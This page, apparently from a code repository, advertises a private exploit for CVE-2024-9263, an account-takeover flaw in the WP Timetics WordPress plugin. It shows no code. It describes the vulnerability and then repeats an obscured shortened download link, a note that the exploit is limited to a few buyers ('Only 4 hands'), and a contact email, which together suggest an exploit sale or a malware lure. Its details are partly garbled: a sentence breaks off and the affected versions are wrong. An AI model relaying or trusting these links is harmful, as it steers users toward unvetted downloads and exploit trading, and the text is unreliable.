CVE-2024-9263 PoC — WordPress plugin WP Timetics 安全漏洞

介绍

# Authorization Bypass Through User-Controlled Key - CVE-2024-9263
# Overview
The WP Timetics- AI-powered Appointment Booking Calendar and Online Scheduling Plugin plugin for WordPress is vulnerable to Account Takeover/Privilege Escalation via Insecure Direct Object Reference in all versions up to, and including, 1.0.25 via the save() due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to reset the emails and passwords of arbitrary user accounts, including administrators, which makes account takeover and privilege escalation possible.
# Exploit
## [**Download here**](https://bit.ly/4f9R3hX) 
## Details 
+ **CVE ID**: CVE-2024-9263
+ **Published**: 10/17/2024
+ **Impact**: Confidentiality
+ **Exploit**: Availability: Not public, only private.
+ **CVSS**: 9.8
## Vulnerability Description
The WP Timetics- AI-powered Appointment Booking Calendar and Online Scheduling Plugin for WordPress is vulnerable to Account Takeover/Privilege Escalation via Insecure Direct Object Reference in all versions up to, and including, 1.0.25. The vulnerability is due to missing validation on a user-controlled key in the save() function. This allows unauthenticated attackers to reset the emails and passwords of arbitrary user accounts, including
## Affected versions 
+ Wordpress/wordpress
## [**Download here**](https://bit.ly/4f9R3hX) 
## Contact
For inquiries, please contact: GordonPoool@hotmail.com
## [**Download here**](https://bit.ly/4f9R3hX) (Only 4 hands)

![CVE-2024-9263](https://github.com/user-attachments/assets/e3c0544c-5b33-402e-91c3-f75a0db14479)

文件快照

备注